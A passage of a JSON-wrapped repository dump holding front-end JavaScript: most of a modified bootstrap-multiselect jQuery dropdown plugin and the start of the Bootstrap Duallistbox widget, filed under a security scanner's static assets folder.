*/\n        buildButton: function() {\n            this.$button = $(this.options.templates.button).addClass(this.options.buttonClass);\n            if (this.$select.attr('class') && this.options.inheritClass) {\n                this.$button.addClass(this.$select.attr('class'));\n            }\n            // Adopt active state.\n            if (this.$select.prop('disabled')) {\n                this.disable();\n            }\n            else {\n                this.enable();\n            }\n\n            // Manually add button width if set.\n            if (this.options.buttonWidth && this.options.buttonWidth !== 'auto') {\n                this.$button.css({\n                    'width' : this.options.buttonWidth,\n                    'overflow' : 'hidden',\n                    'text-overflow' : 'ellipsis'\n                });\n                this.$container.css({\n                    'width': this.options.buttonWidth\n                });\n            }\n\n            // Keep the tab index from the select.\n            var tabindex = this.$select.attr('tabindex');\n            if (tabindex) {\n                this.$button.attr('tabindex', tabindex);\n            }\n\n            this.$container.prepend(this.$button);\n        },\n\n        /**\n         * Builds the ul representing the dropdown menu.\n         */\n        buildDropdown: function() {\n\n            // Build ul.\n            this.$ul = $(this.options.templates.ul);\n\n            if (this.options.dropRight) {\n                this.$ul.addClass('pull-right');\n            }\n\n            // Set max height of dropdown menu to activate auto scrollbar.\n            if (this.options.maxHeight) {\n                // TODO: Add a class for this option to move the css declarations.\n                this.$ul.css({\n                    'max-height': this.options.maxHeight + 'px',\n                    'overflow-y': 'auto',\n                    'overflow-x': 'hidden'\n                });\n            }\n\n            this.$container.append(this.$ul);\n        },\n\n        /**\n         * Build the dropdown options and binds all nessecary events.\n         * \n         * Uses createDivider and createOptionValue to create the necessary options.\n         */\n        buildDropdownOptions: function() {\n\n            this.$select.children().each($.proxy(function(index, element) {\n\n                var $element = $(element);\n                // Support optgroups and options without a group simultaneously.\n                var tag = $element.prop('tagName')\n                    .toLowerCase();\n            \n                if ($element.prop('value') === this.options.selectAllValue) {\n                    return;\n                }\n\n                if (tag === 'optgroup') {\n                    this.createOptgroup(element);\n                }\n                else if (tag === 'option') {\n\n                    if ($element.data('role') === 'divider') {\n                        this.createDivider();\n                    }\n                    else {\n                        this.createOptionValue(element);\n                    }\n\n                }\n\n                // Other illegal tags will be ignored.\n            }, this));\n\n            // Bind the change event on the dropdown elements.\n            $('li input', this.$ul).on('change', $.proxy(function(event) {\n                var $target = $(event.target);\n\n                var checked = $target.prop('checked') || false;\n                var isSelectAllOption = $target.val() === this.options.selectAllValue;\n\n                // Apply or unapply the configured selected class.\n                if (this.options.selectedClass) {\n                    if (checked) {\n                        $target.closest('li')\n                            .addClass(this.options.selectedClass);\n                    }\n                    else {\n                        $target.closest('li')\n                            .removeClass(this.options.selectedClass);\n                    }\n                }\n\n                // Get the corresponding option.\n                var value = $target.val();\n                var $option = this.getOptionByValue(value);\n\n                var $optionsNotThis = $('option', this.$select).not($option);\n                var $checkboxesNotThis = $('input', this.$container).not($target);\n\n                if (isSelectAllOption) {\n                    if (checked) {\n                        this.selectAll();\n                    }\n                    else {\n                        this.deselectAll();\n                    }\n                }\n\n                if(!isSelectAllOption){\n                    if (checked) {\n                        $option.prop('selected', true);\n\n                        if (this.options.multiple) {\n                            // Simply select additional option.\n                            $option.prop('selected', true);\n                        }\n                        else {\n                            // Unselect all other options and corresponding checkboxes.\n                            if (this.options.selectedClass) {\n                                $($checkboxesNotThis).closest('li').removeClass(this.options.selectedClass);\n                            }\n\n                            $($checkboxesNotThis).prop('checked', false);\n                            $optionsNotThis.prop('selected', false);\n\n                            // It's a single selection, so close.\n                            this.$button.click();\n                        }\n\n                        if (this.options.selectedClass === \"active\") {\n                            $optionsNotThis.closest(\"a\").css(\"outline\", \"\");\n                        }\n                    }\n                    else {\n                        // Unselect option.\n                        $option.prop('selected', false);\n                    }\n                }\n\n                this.$select.change();\n\n                this.updateButtonText();\n                this.updateSelectAll();\n\n                this.options.onChange($option, checked);\n\n                if(this.options.preventInputChangeEvent) {\n                    return false;\n                }\n            }, this));\n\n            $('li a', this.$ul).on('mousedown', function(e) {\n                if (e.shiftKey) {\n                    // Prevent selecting text by Shift+click\n                    return false;\n                }\n            });\n        \n            $('li a', this.$ul).on('touchstart click', $.proxy(function(event) {\n                event.stopPropagation();\n\n                var $target = $(event.target);\n                \n                if (event.shiftKey && this.options.multiple) {\n                    if($target.is(\"label\")){ // Handles checkbox selection manually (see https://github.com/davidstutz/bootstrap-multiselect/issues/431)\n                        event.preventDefault();\n                        $target = $target.find(\"input\");\n                        $target.prop(\"checked\", !$target.prop(\"checked\"));\n                    }\n                    var checked = $target.prop('checked') || false;\n\n                    if (this.lastToggledInput !== null && this.lastToggledInput !== $target) { // Make sure we actually have a range\n                        var from = $target.closest(\"li\").index();\n                        var to = this.lastToggledInput.closest(\"li\").index();\n                        \n                        if (from > to) { // Swap the indices\n                            var tmp = to;\n                            to = from;\n                            from = tmp;\n                        }\n                        \n                        // Make sure we grab all elements since slice excludes the last index\n                        ++to;\n                        \n                        // Change the checkboxes and underlying options\n                        var range = this.$ul.find(\"li\").slice(from, to).find(\"input\");\n                        \n                        range.prop('checked', checked);\n                        \n                        if (this.options.selectedClass) {\n                            range.closest('li')\n                                .toggleClass(this.options.selectedClass, checked);\n                        }\n                        \n                        for (var i = 0, j = range.length; i < j; i++) {\n                            var $checkbox = $(range[i]);\n\n                            var $option = this.getOptionByValue($checkbox.val());\n\n                            $option.prop('selected', checked);\n                        }                   \n                    }\n                    \n                    // Trigger the select \"change\" event\n                    $target.trigger(\"change\");\n                }\n                \n                // Remembers last clicked option\n                if($target.is(\"input\") && !$target.closest(\"li\").is(\".multiselect-item\")){\n                    this.lastToggledInput = $target;\n                }\n\n                $target.blur();\n            }, this));\n\n            // Keyboard support.\n            this.$container.off('keydown.multiselect').on('keydown.multiselect', $.proxy(function(event) {\n                if ($('input[type=\"text\"]', this.$container).is(':focus')) {\n                    return;\n                }\n\n                if (event.keyCode === 9 && this.$container.hasClass('open')) {\n                    this.$button.click();\n                }\n                else {\n                    var $items = $(this.$container).find(\"li:not(.divider):not(.disabled) a\").filter(\":visible\");\n\n                    if (!$items.length) {\n                        return;\n                    }\n\n                    var index = $items.index($items.filter(':focus'));\n\n                    // Navigation up.\n                    if (event.keyCode === 38 && index > 0) {\n                        index--;\n                    }\n                    // Navigate down.\n                    else if (event.keyCode === 40 && index < $items.length - 1) {\n                        index++;\n                    }\n                    else if (!~index) {\n                        index = 0;\n                    }\n\n                    var $current = $items.eq(index);\n                    $current.focus();\n\n                    if (event.keyCode === 32 || event.keyCode === 13) {\n                        var $checkbox = $current.find('input');\n\n                        $checkbox.prop(\"checked\", !$checkbox.prop(\"checked\"));\n                        $checkbox.change();\n                    }\n\n                    event.stopPropagation();\n                    event.preventDefault();\n                }\n            }, this));\n\n            if(this.options.enableClickableOptGroups && this.options.multiple) {\n                $('li.multiselect-group', this.$ul).on('click', $.proxy(function(event) {\n                    event.stopPropagation();\n\n                    var group = $(event.target).parent();\n\n                    // Search all option in optgroup\n                    var $options = group.nextUntil('li.multiselect-group');\n                    var $visibleOptions = $options.filter(\":visible:not(.disabled)\");\n\n                    // check or uncheck items\n                    var allChecked = true;\n                    var optionInputs = $visibleOptions.find('input');\n                    optionInputs.each(function() {\n                        allChecked = allChecked && $(this).prop('checked');\n                    });\n\n                    optionInputs.prop('checked', !allChecked).trigger('change');\n               }, this));\n            }\n        },\n\n        /**\n         * Create an option using the given select option.\n         *\n         * @param {jQuery} element\n         */\n        createOptionValue: function(element) {\n            var $element = $(element);\n            if ($element.is(':selected')) {\n                $element.prop('selected', true);\n            }\n\n            // Support the label attribute on options.\n            var label = this.options.optionLabel(element);\n            var value = $element.val();\n            var inputType = this.options.multiple ? \"checkbox\" : \"radio\";\n\n            var $li = $(this.options.templates.li);\n            var $label = $('label', $li);\n            $label.addClass(inputType);\n\n            if (this.options.enableHTML) {\n                $label.html(\" \" + label);\n            }\n            else {\n                $label.text(\" \" + label);\n            }\n        \n\t\t\tvar $checkbox = $('<input/>').attr('type', inputType).addClass('ace');//ACE\n\n            if (this.options.checkboxName) {\n                $checkbox.attr('name', this.options.checkboxName);\n            }\n            $label.prepend($checkbox);\n\t\t\t$checkbox.after('<span class=\"lbl\" />');//ACE\n\n            var selected = $element.prop('selected') || false;\n            $checkbox.val(value);\n\n            if (value === this.options.selectAllValue) {\n                $li.addClass(\"multiselect-item multiselect-all\");\n                $checkbox.parent().parent()\n                    .addClass('multiselect-all');\n            }\n\n            $label.attr('title', $element.attr('title'));\n\n            this.$ul.append($li);\n\n            if ($element.is(':disabled')) {\n                $checkbox.attr('disabled', 'disabled')\n                    .prop('disabled', true)\n                    .closest('a')\n                    .attr(\"tabindex\", \"-1\")\n                    .closest('li')\n                    .addClass('disabled');\n            }\n\n            $checkbox.prop('checked', selected);\n\n            if (selected && this.options.selectedClass) {\n                $checkbox.closest('li')\n                    .addClass(this.options.selectedClass);\n            }\n        },\n\n        /**\n         * Creates a divider using the given select option.\n         *\n         * @param {jQuery} element\n         */\n        createDivider: function(element) {\n            var $divider = $(this.options.templates.divider);\n            this.$ul.append($divider);\n        },\n\n        /**\n         * Creates an optgroup.\n         *\n         * @param {jQuery} group\n         */\n        createOptgroup: function(group) {\n            var groupName = $(group).prop('label');\n\n            // Add a header for the group.\n            var $li = $(this.options.templates.liGroup);\n            \n            if (this.options.enableHTML) {\n                $('label', $li).html(groupName);\n            }\n            else {\n                $('label', $li).text(groupName);\n            }\n            \n            if (this.options.enableClickableOptGroups) {\n                $li.addClass('multiselect-group-clickable');\n            }\n\n            this.$ul.append($li);\n\n            if ($(group).is(':disabled')) {\n                $li.addClass('disabled');\n            }\n\n            // Add the options of the group.\n            $('option', group).each($.proxy(function(index, element) {\n                this.createOptionValue(element);\n            }, this));\n        },\n\n        /**\n         * Build the selct all.\n         * \n         * Checks if a select all has already been created.\n         */\n        buildSelectAll: function() {\n            if (typeof this.options.selectAllValue === 'number') {\n                this.options.selectAllValue = this.options.selectAllValue.toString();\n            }\n            \n            var alreadyHasSelectAll = this.hasSelectAll();\n\n            if (!alreadyHasSelectAll && this.options.includeSelectAllOption && this.options.multiple\n                    && $('option', this.$select).length > this.options.includeSelectAllIfMoreThan) {\n\n                // Check whether to add a divider after the select all.\n                if (this.options.includeSelectAllDivider) {\n                    this.$ul.prepend($(this.options.templates.divider));\n                }\n\n                var $li = $(this.options.templates.li);\n                $('label', $li).addClass(\"checkbox\");\n                \n                if (this.options.enableHTML) {\n                    $('label', $li).html(\" \" + this.options.selectAllText);\n                }\n                else {\n                    $('label', $li).text(\" \" + this.options.selectAllText);\n                }\n                \n                if (this.options.selectAllName) {\n                    $('label', $li).prepend('<input type=\"checkbox\" name=\"' + this.options.selectAllName + '\" />');\n                }\n                else {\n                    $('label', $li).prepend('<input type=\"checkbox\" />');\n                }\n                \n                var $checkbox = $('input', $li);\n                $checkbox.val(this.options.selectAllValue);\n\n                $li.addClass(\"multiselect-item multiselect-all\");\n                $checkbox.parent().parent()\n                    .addClass('multiselect-all');\n\n                this.$ul.prepend($li);\n\n                $checkbox.prop('checked', false);\n            }\n        },\n\n        /**\n         * Builds the filter.\n         */\n        buildFilter: function() {\n\n            // Build filter if filtering OR case insensitive filtering is enabled and the number of options exceeds (or equals) enableFilterLength.\n            if (this.options.enableFiltering || this.options.enableCaseInsensitiveFiltering) {\n                var enableFilterLength = Math.max(this.options.enableFiltering, this.options.enableCaseInsensitiveFiltering);\n\n                if (this.$select.find('option').length >= enableFilterLength) {\n\n                    this.$filter = $(this.options.templates.filter);\n                    $('input', this.$filter).attr('placeholder', this.options.filterPlaceholder);\n                    \n                    // Adds optional filter clear button\n                    if(this.options.includeFilterClearBtn){\n                        var clearBtn = $(this.options.templates.filterClearBtn);\n                        clearBtn.on('click', $.proxy(function(event){\n                            clearTimeout(this.searchTimeout);\n                            this.$filter.find('.multiselect-search').val('');\n                            $('li', this.$ul).show().removeClass(\"filter-hidden\");\n                            this.updateSelectAll();\n                        }, this));\n                        this.$filter.find('.input-group').append(clearBtn);\n                    }\n                    \n                    this.$ul.prepend(this.$filter);\n\n                    this.$filter.val(this.query).on('click', function(event) {\n                        event.stopPropagation();\n                    }).on('input keydown', $.proxy(function(event) {\n                        // Cancel enter key default behaviour\n                        if (event.which === 13) {\n                          event.preventDefault();\n                        }\n                        \n                        // This is useful to catch \"keydown\" events after the browser has updated the control.\n                        clearTimeout(this.searchTimeout);\n\n                        this.searchTimeout = this.asyncFunction($.proxy(function() {\n\n                            if (this.query !== event.target.value) {\n                                this.query = event.target.value;\n\n                                var currentGroup, currentGroupVisible;\n                                $.each($('li', this.$ul), $.proxy(function(index, element) {\n                                    var value = $('input', element).length > 0 ? $('input', element).val() : \"\";\n                                    var text = $('label', element).text();\n\n                                    var filterCandidate = '';\n                                    if ((this.options.filterBehavior === 'text')) {\n                                        filterCandidate = text;\n                                    }\n                                    else if ((this.options.filterBehavior === 'value')) {\n                                        filterCandidate = value;\n                                    }\n                                    else if (this.options.filterBehavior === 'both') {\n                                        filterCandidate = text + '\\n' + value;\n                                    }\n\n                                    if (value !== this.options.selectAllValue && text) {\n                                        // By default lets assume that element is not\n                                        // interesting for this search.\n                                        var showElement = false;\n\n                                        if (this.options.enableCaseInsensitiveFiltering && filterCandidate.toLowerCase().indexOf(this.query.toLowerCase()) > -1) {\n                                            showElement = true;\n                                        }\n                                        else if (filterCandidate.indexOf(this.query) > -1) {\n                                            showElement = true;\n                                        }\n\n                                        // Toggle current element (group or group item) according to showElement boolean.\n                                        $(element).toggle(showElement).toggleClass('filter-hidden', !showElement);\n                                        \n                                        // Differentiate groups and group items.\n                                        if ($(element).hasClass('multiselect-group')) {\n                                            // Remember group status.\n                                            currentGroup = element;\n                                            currentGroupVisible = showElement;\n                                        }\n                                        else {\n                                            // Show group name when at least one of its items is visible.\n                                            if (showElement) {\n                                                $(currentGroup).show().removeClass('filter-hidden');\n                                            }\n                                            \n                                            // Show all group items when group name satisfies filter.\n                                            if (!showElement && currentGroupVisible) {\n                                                $(element).show().removeClass('filter-hidden');\n                                            }\n                                        }\n                                    }\n                                }, this));\n                            }\n\n                            this.updateSelectAll();\n                        }, this), 300, this);\n                    }, this));\n                }\n            }\n        },\n\n        /**\n         * Unbinds the whole plugin.\n         */\n        destroy: function() {\n            this.$container.remove();\n            this.$select.show();\n            this.$select.data('multiselect', null);\n        },\n\n        /**\n         * Refreshs the multiselect based on the selected options of the select.\n         */\n        refresh: function() {\n            $('option', this.$select).each($.proxy(function(index, element) {\n                var $input = $('li input', this.$ul).filter(function() {\n                    return $(this).val() === $(element).val();\n                });\n\n                if ($(element).is(':selected')) {\n                    $input.prop('checked', true);\n\n                    if (this.options.selectedClass) {\n                        $input.closest('li')\n                            .addClass(this.options.selectedClass);\n                    }\n                }\n                else {\n                    $input.prop('checked', false);\n\n                    if (this.options.selectedClass) {\n                        $input.closest('li')\n                            .removeClass(this.options.selectedClass);\n                    }\n                }\n\n                if ($(element).is(\":disabled\")) {\n                    $input.attr('disabled', 'disabled')\n                        .prop('disabled', true)\n                        .closest('li')\n                        .addClass('disabled');\n                }\n                else {\n                    $input.prop('disabled', false)\n                        .closest('li')\n                        .removeClass('disabled');\n                }\n            }, this));\n\n            this.updateButtonText();\n            this.updateSelectAll();\n        },\n\n        /**\n         * Select all options of the given values.\n         * \n         * If triggerOnChange is set to true, the on change event is triggered if\n         * and only if one value is passed.\n         * \n         * @param {Array} selectValues\n         * @param {Boolean} triggerOnChange\n         */\n        select: function(selectValues, triggerOnChange) {\n            if(!$.isArray(selectValues)) {\n                selectValues = [selectValues];\n            }\n\n            for (var i = 0; i < selectValues.length; i++) {\n                var value = selectValues[i];\n\n                if (value === null || value === undefined) {\n                    continue;\n                }\n\n                var $option = this.getOptionByValue(value);\n                var $checkbox = this.getInputByValue(value);\n\n                if($option === undefined || $checkbox === undefined) {\n                    continue;\n                }\n                \n                if (!this.options.multiple) {\n                    this.deselectAll(false);\n                }\n                \n                if (this.options.selectedClass) {\n                    $checkbox.closest('li')\n                        .addClass(this.options.selectedClass);\n                }\n\n                $checkbox.prop('checked', true);\n                $option.prop('selected', true);\n                \n                if (triggerOnChange) {\n                    this.options.onChange($option, true);\n                }\n            }\n\n            this.updateButtonText();\n            this.updateSelectAll();\n        },\n\n        /**\n         * Clears all selected items.\n         */\n        clearSelection: function () {\n            this.deselectAll(false);\n            this.updateButtonText();\n            this.updateSelectAll();\n        },\n\n        /**\n         * Deselects all options of the given values.\n         * \n         * If triggerOnChange is set to true, the on change event is triggered, if\n         * and only if one value is passed.\n         * \n         * @param {Array} deselectValues\n         * @param {Boolean} triggerOnChange\n         */\n        deselect: function(deselectValues, triggerOnChange) {\n            if(!$.isArray(deselectValues)) {\n                deselectValues = [deselectValues];\n            }\n\n            for (var i = 0; i < deselectValues.length; i++) {\n                var value = deselectValues[i];\n\n                if (value === null || value === undefined) {\n                    continue;\n                }\n\n                var $option = this.getOptionByValue(value);\n                var $checkbox = this.getInputByValue(value);\n\n                if($option === undefined || $checkbox === undefined) {\n                    continue;\n                }\n\n                if (this.options.selectedClass) {\n                    $checkbox.closest('li')\n                        .removeClass(this.options.selectedClass);\n                }\n\n                $checkbox.prop('checked', false);\n                $option.prop('selected', false);\n                \n                if (triggerOnChange) {\n                    this.options.onChange($option, false);\n                }\n            }\n\n            this.updateButtonText();\n            this.updateSelectAll();\n        },\n        \n        /**\n         * Selects all enabled & visible options.\n         *\n         * If justVisible is true or not specified, only visible options are selected.\n         *\n         * @param {Boolean} justVisible\n         * @param {Boolean} triggerOnSelectAll\n         */\n        selectAll: function (justVisible, triggerOnSelectAll) {\n            var justVisible = typeof justVisible === 'undefined' ? true : justVisible;\n            var allCheckboxes = $(\"li input[type='checkbox']:enabled\", this.$ul);\n            var visibleCheckboxes = allCheckboxes.filter(\":visible\");\n            var allCheckboxesCount = allCheckboxes.length;\n            var visibleCheckboxesCount = visibleCheckboxes.length;\n            \n            if(justVisible) {\n                visibleCheckboxes.prop('checked', true);\n                $(\"li:not(.divider):not(.disabled)\", this.$ul).filter(\":visible\").addClass(this.options.selectedClass);\n            }\n            else {\n                allCheckboxes.prop('checked', true);\n                $(\"li:not(.divider):not(.disabled)\", this.$ul).addClass(this.options.selectedClass);\n            }\n                \n            if (allCheckboxesCount === visibleCheckboxesCount || justVisible === false) {\n                $(\"option:enabled\", this.$select).prop('selected', true);\n            }\n            else {\n                var values = visibleCheckboxes.map(function() {\n                    return $(this).val();\n                }).get();\n                \n                $(\"option:enabled\", this.$select).filter(function(index) {\n                    return $.inArray($(this).val(), values) !== -1;\n                }).prop('selected', true);\n            }\n            \n            if (triggerOnSelectAll) {\n                this.options.onSelectAll();\n            }\n        },\n\n        /**\n         * Deselects all options.\n         * \n         * If justVisible is true or not specified, only visible options are deselected.\n         * \n         * @param {Boolean} justVisible\n         */\n        deselectAll: function (justVisible) {\n            var justVisible = typeof justVisible === 'undefined' ? true : justVisible;\n            \n            if(justVisible) {              \n                var visibleCheckboxes = $(\"li input[type='checkbox']:not(:disabled)\", this.$ul).filter(\":visible\");\n                visibleCheckboxes.prop('checked', false);\n                \n                var values = visibleCheckboxes.map(function() {\n                    return $(this).val();\n                }).get();\n                \n                $(\"option:enabled\", this.$select).filter(function(index) {\n                    return $.inArray($(this).val(), values) !== -1;\n                }).prop('selected', false);\n                \n                if (this.options.selectedClass) {\n                    $(\"li:not(.divider):not(.disabled)\", this.$ul).filter(\":visible\").removeClass(this.options.selectedClass);\n                }\n            }\n            else {\n                $(\"li input[type='checkbox']:enabled\", this.$ul).prop('checked', false);\n                $(\"option:enabled\", this.$select).prop('selected', false);\n                \n                if (this.options.selectedClass) {\n                    $(\"li:not(.divider):not(.disabled)\", this.$ul).removeClass(this.options.selectedClass);\n                }\n            }\n        },\n\n        /**\n         * Rebuild the plugin.\n         * \n         * Rebuilds the dropdown, the filter and the select all option.\n         */\n        rebuild: function() {\n            this.$ul.html('');\n\n            // Important to distinguish between radios and checkboxes.\n            this.options.multiple = this.$select.attr('multiple') === \"multiple\";\n\n            this.buildSelectAll();\n            this.buildDropdownOptions();\n            this.buildFilter();\n\n            this.updateButtonText();\n            this.updateSelectAll();\n            \n            if (this.options.disableIfEmpty && $('option', this.$select).length <= 0) {\n                this.disable();\n            }\n            else {\n                this.enable();\n            }\n            \n            if (this.options.dropRight) {\n                this.$ul.addClass('pull-right');\n            }\n        },\n\n        /**\n         * The provided data will be used to build the dropdown.\n         */\n        dataprovider: function(dataprovider) {\n            \n            var groupCounter = 0;\n            var $select = this.$select.empty();\n            \n            $.each(dataprovider, function (index, option) {\n                var $tag;\n                \n                if ($.isArray(option.children)) { // create optiongroup tag\n                    groupCounter++;\n                    \n                    $tag = $('<optgroup/>').attr({\n                        label: option.label || 'Group ' + groupCounter,\n                        disabled: !!option.disabled\n                    });\n                    \n                    forEach(option.children, function(subOption) { // add children option tags\n                        $tag.append($('<option/>').attr({\n                            value: subOption.value,\n                            label: subOption.label || subOption.value,\n                            title: subOption.title,\n                            selected: !!subOption.selected,\n                            disabled: !!subOption.disabled\n                        }));\n                    });\n                }\n                else {\n                    $tag = $('<option/>').attr({\n                        value: option.value,\n                        label: option.label || option.value,\n                        title: option.title,\n                        selected: !!option.selected,\n                        disabled: !!option.disabled\n                    });\n                }\n                \n                $select.append($tag);\n            });\n            \n            this.rebuild();\n        },\n\n        /**\n         * Enable the multiselect.\n         */\n        enable: function() {\n            this.$select.prop('disabled', false);\n            this.$button.prop('disabled', false)\n                .removeClass('disabled');\n        },\n\n        /**\n         * Disable the multiselect.\n         */\n        disable: function() {\n            this.$select.prop('disabled', true);\n            this.$button.prop('disabled', true)\n                .addClass('disabled');\n        },\n\n        /**\n         * Set the options.\n         *\n         * @param {Array} options\n         */\n        setOptions: function(options) {\n            this.options = this.mergeOptions(options);\n        },\n\n        /**\n         * Merges the given options with the default options.\n         *\n         * @param {Array} options\n         * @returns {Array}\n         */\n        mergeOptions: function(options) {\n            return $.extend(true, {}, this.defaults, this.options, options);\n        },\n\n        /**\n         * Checks whether a select all checkbox is present.\n         *\n         * @returns {Boolean}\n         */\n        hasSelectAll: function() {\n            return $('li.multiselect-all', this.$ul).length > 0;\n        },\n\n        /**\n         * Updates the select all checkbox based on the currently displayed and selected checkboxes.\n         */\n        updateSelectAll: function() {\n            if (this.hasSelectAll()) {\n                var allBoxes = $(\"li:not(.multiselect-item):not(.filter-hidden) input:enabled\", this.$ul);\n                var allBoxesLength = allBoxes.length;\n                var checkedBoxesLength = allBoxes.filter(\":checked\").length;\n                var selectAllLi  = $(\"li.multiselect-all\", this.$ul);\n                var selectAllInput = selectAllLi.find(\"input\");\n                \n                if (checkedBoxesLength > 0 && checkedBoxesLength === allBoxesLength) {\n                    selectAllInput.prop(\"checked\", true);\n                    selectAllLi.addClass(this.options.selectedClass);\n                    this.options.onSelectAll();\n                }\n                else {\n                    selectAllInput.prop(\"checked\", false);\n                    selectAllLi.removeClass(this.options.selectedClass);\n                }\n            }\n        },\n\n        /**\n         * Update the button text and its title based on the currently selected options.\n         */\n        updateButtonText: function() {\n            var options = this.getSelected();\n            \n            // First update the displayed button text.\n            if (this.options.enableHTML) {\n                $('.multiselect .multiselect-selected-text', this.$container).html(this.options.buttonText(options, this.$select));\n            }\n            else {\n                $('.multiselect .multiselect-selected-text', this.$container).text(this.options.buttonText(options, this.$select));\n            }\n            \n            // Now update the title attribute of the button.\n            $('.multiselect', this.$container).attr('title', this.options.buttonTitle(options, this.$select));\n        },\n\n        /**\n         * Get all selected options.\n         *\n         * @returns {jQUery}\n         */\n        getSelected: function() {\n            return $('option', this.$select).filter(\":selected\");\n        },\n\n        /**\n         * Gets a select option by its value.\n         *\n         * @param {String} value\n         * @returns {jQuery}\n         */\n        getOptionByValue: function (value) {\n\n            var options = $('option', this.$select);\n            var valueToCompare = value.toString();\n\n            for (var i = 0; i < options.length; i = i + 1) {\n                var option = options[i];\n                if (option.value === valueToCompare) {\n                    return $(option);\n                }\n            }\n        },\n\n        /**\n         * Get the input (radio/checkbox) by its value.\n         *\n         * @param {String} value\n         * @returns {jQuery}\n         */\n        getInputByValue: function (value) {\n\n            var checkboxes = $('li input', this.$ul);\n            var valueToCompare = value.toString();\n\n            for (var i = 0; i < checkboxes.length; i = i + 1) {\n                var checkbox = checkboxes[i];\n                if (checkbox.value === valueToCompare) {\n                    return $(checkbox);\n                }\n            }\n        },\n\n        /**\n         * Used for knockout integration.\n         */\n        updateOriginalOptions: function() {\n            this.originalOptions = this.$select.clone()[0].options;\n        },\n\n        asyncFunction: function(callback, timeout, self) {\n            var args = Array.prototype.slice.call(arguments, 3);\n            return setTimeout(function() {\n                callback.apply(self || window, args);\n            }, timeout);\n        },\n\n        setAllSelectedText: function(allSelectedText) {\n            this.options.allSelectedText = allSelectedText;\n            this.updateButtonText();\n        }\n    };\n\n    $.fn.multiselect = function(option, parameter, extraOptions) {\n        return this.each(function() {\n            var data = $(this).data('multiselect');\n            var options = typeof option === 'object' && option;\n\n            // Initialize the multiselect.\n            if (!data) {\n                data = new Multiselect(this, options);\n                $(this).data('multiselect', data);\n            }\n\n            // Call multiselect method.\n            if (typeof option === 'string') {\n                data[option](parameter, extraOptions);\n                \n                if (option === 'destroy') {\n                    $(this).data('multiselect', false);\n                }\n            }\n        });\n    };\n\n    $.fn.multiselect.Constructor = Multiselect;\n\n    $(function() {\n        $(\"select[data-role=multiselect]\").multiselect();\n    });\n\n}(window.jQuery);\n"
  },
  {
    "path": "Weak_Password/Fuxi-Scanner/fuxi/static/js/jquery/jquery.bootstrap-duallistbox.js",
    "content": "/*\n *  Bootstrap Duallistbox - v3.0.5\n *  A responsive dual listbox widget optimized for Twitter Bootstrap. It works on all modern browsers and on touch devices.\n *  http://www.virtuosoft.eu/code/bootstrap-duallistbox/\n *\n *  Made by István Ujj-Mészáros\n *  Under Apache License v2.0 License\n */\n;(function ($, window, document, undefined) {\n  // Create the defaults once\n  var pluginName = 'bootstrapDualListbox',\n    defaults = {\n      bootstrap2Compatible: false,\n      filterTextClear: 'show all',\n      filterPlaceHolder: 'Filter',\n      moveSelectedLabel: 'Move selected',\n      moveAllLabel: 'Move all',\n      removeSelectedLabel: 'Remove selected',\n      removeAllLabel: 'Remove all',\n      moveOnSelect: true,                                                                 // true/false (forced true on androids, see the comment later)\n      preserveSelectionOnMove: false,                                                     // 'all' / 'moved' / false\n      selectedListLabel: false,                                                           // 'string', false\n      nonSelectedListLabel: false,                                                        // 'string', false\n      helperSelectNamePostfix: '_helper',                                                 // 'string_of_postfix' / false\n      selectorMinimalHeight: 100,\n      showFilterInputs: true,                                                             // whether to show filter inputs\n      nonSelectedFilter: '',                                                              // string, filter the non selected options\n      selectedFilter: '',                                                                 // string, filter the selected options\n      infoText: 'Showing all {0}',                                                        // text when all options are visible / false for no info text\n      infoTextFiltered: '<span class=\"label label-warning\">Filtered</span> {0} from {1}', // when not all of the options are visible due to the filter\n      infoTextEmpty: 'Empty list',                                                        // when there are no options present in the list\n      filterOnValues: false                                                               // filter by selector's values, boolean\n\t  , buttonClass: 'btn-white btn-bold'//ACE\n    },\n    // Selections are invisible on android if the containing select is styled with CSS\n    // http://code.google.com/p/android/issues/detail?id=16922\n    isBuggyAndroid = /android/i.test(navigator.userAgent.toLowerCase());\n\n  // The actual plugin constructor\n  function BootstrapDualListbox(element, options) {\n    this.element = $(element);\n    // jQuery has an extend method which merges the contents of two or\n    // more objects, storing the result in the first object. The first object\n    // is generally empty as we don't want to alter the default options for\n    // future instances of the plugin\n    this.settings = $.extend({}, defaults, options);\n    this._defaults = defaults;\n    this._name = pluginName;\n    this.init();\n  }\n\n  function triggerChangeEvent(dualListbox) {\n    dualListbox.element.trigger('change');\n  }\n\n  function updateSelectionStates(dualListbox) {\n    dualListbox.element.find('option').each(function(index, item) {\n      var $item = $(item);\n      if (typeof($item.data('original-index')) === 'undefined') {\n        $item.data('original-index', dualListbox.elementCount++);\n      }\n      if (typeof($item.data('_selected')) === 'undefined') {\n        $item.data('_selected', false);\n      }\n    });\n  }\n\n  function changeSelectionState(dualListbox, original_index, selected) {\n    dualListbox.element.find('option').each(function(index, item) {\n      var $item = $(item);\n      if ($item.data('original-index') === original_index) {\n        $item.prop('selected', selected);\n      }\n    });\n  }\n\n  function formatString(s, args) {\n    return s.replace(/\\{(\\d+)\\}/g, function(match, number) {\n      return typeof args[number] !== 'undefined' ? args[number] : match;\n    });\n  }\n\n  function refreshInfo(dualListbox) {\n    if (!dualListbox.settings.infoText) {\n      return;\n    }\n\n    var visible1 = dualListbox.elements.select1.find('option').length,\n      visible2 = dualListbox.elements.select2.find('option').length,\n      all1 = dualListbox.element.find('option').length - dualListbox.selectedElements,\n      all2 = dualListbox.selectedElements,\n      content = '';\n\n    if (all1 === 0) {\n      content = dualListbox.settings.infoTextEmpty;\n    } else if (visible1 === all1) {\n      content = formatString(dualListbox.settings.infoText, [visible1, all1]);\n    } else {\n      content = formatString(dualListbox.settings.infoTextFiltered, [visible1, all1]);\n    }\n\n    dualListbox.elements.info1.html(content);\n    dualListbox.elements.box1.toggleClass('filtered', !(visible1 === all1 || all1 === 0));\n\n    if (all2 === 0) {\n      content = dualListbox.settings.infoTextEmpty;\n    } else if (visible2 === all2) {\n      content = formatString(dualListbox.settings.infoText, [visible2, all2]);\n    } else {\n      content = formatString(dualListbox.settings.infoTextFiltered, [visible2, all2]);\n    }\n\n    dualListbox.elements.info2.html(content);\n    dualListbox.elements.box2.toggleClass('filtered', !(visible2 === all2 || all2 === 0));\n  }\n\n  function refreshSelects(dualListbox) {\n    dualListbox.selectedElements = 0;\n\n    dualListbox.elements.select1.empty();\n    dualListbox.elements.select2.empty();\n\n    dualListbox.element.find('option').each(function(index, item) {\n      var $item = $(item);\n      if ($item.prop('selected')) {\n        dualListbox.selectedElements++;\n        